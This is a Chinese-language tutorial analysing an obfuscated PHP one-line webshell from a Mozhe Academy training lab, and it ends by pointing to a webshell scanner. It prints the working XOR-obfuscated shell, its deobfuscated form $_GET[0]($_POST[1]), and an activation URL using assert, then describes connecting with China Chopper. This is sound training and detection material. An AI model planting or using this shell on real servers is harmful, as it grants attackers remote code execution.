WebShell代码分析溯源(四)
一、一句话变形马样本
<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
二、代码分析
1、调整代码格式
2、分析代码
“^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串。
$_++,这行代码的意思是对变量名为”_”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
2.1手动进行异或运算,依次类推得到$___=_POST
2.2$_++在自增之后,$_就变成了1,因此,!$_也就为0,综上分析,${$__}[!$_](${$___}[$_]);也就变成了$_GET[0]($_POST[1]);,此时一句话木马为<?php $_GET[0]($_POST[1]); ?>
2.3构造payload: http://www.test.com/test.php?0=assert,因此一句话木马就变成为<?php assert($_POST[1]); ?>,然后使用菜刀连接,密码为1
2.4远程代码执行,执行一些命令
3、通过调试代码进行分析webshell,搭建php环境(这里使用phpstudy)
4、调试输出结果如下
三、漏洞环境搭建
1、这里使用在线学习平台墨者学院中的实验环境(PHP代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe
2、代码环境,下载代码
3、分析(上面已经分析过了)
4、使用菜刀连接
四、后记
学习常用webshell扫描检测查杀工具---WEBDIR+(百度WebShell扫描检测引擎),网址: https://scanner.baidu.com/#/pages/intro
使用WEBDIR+进行webshell查杀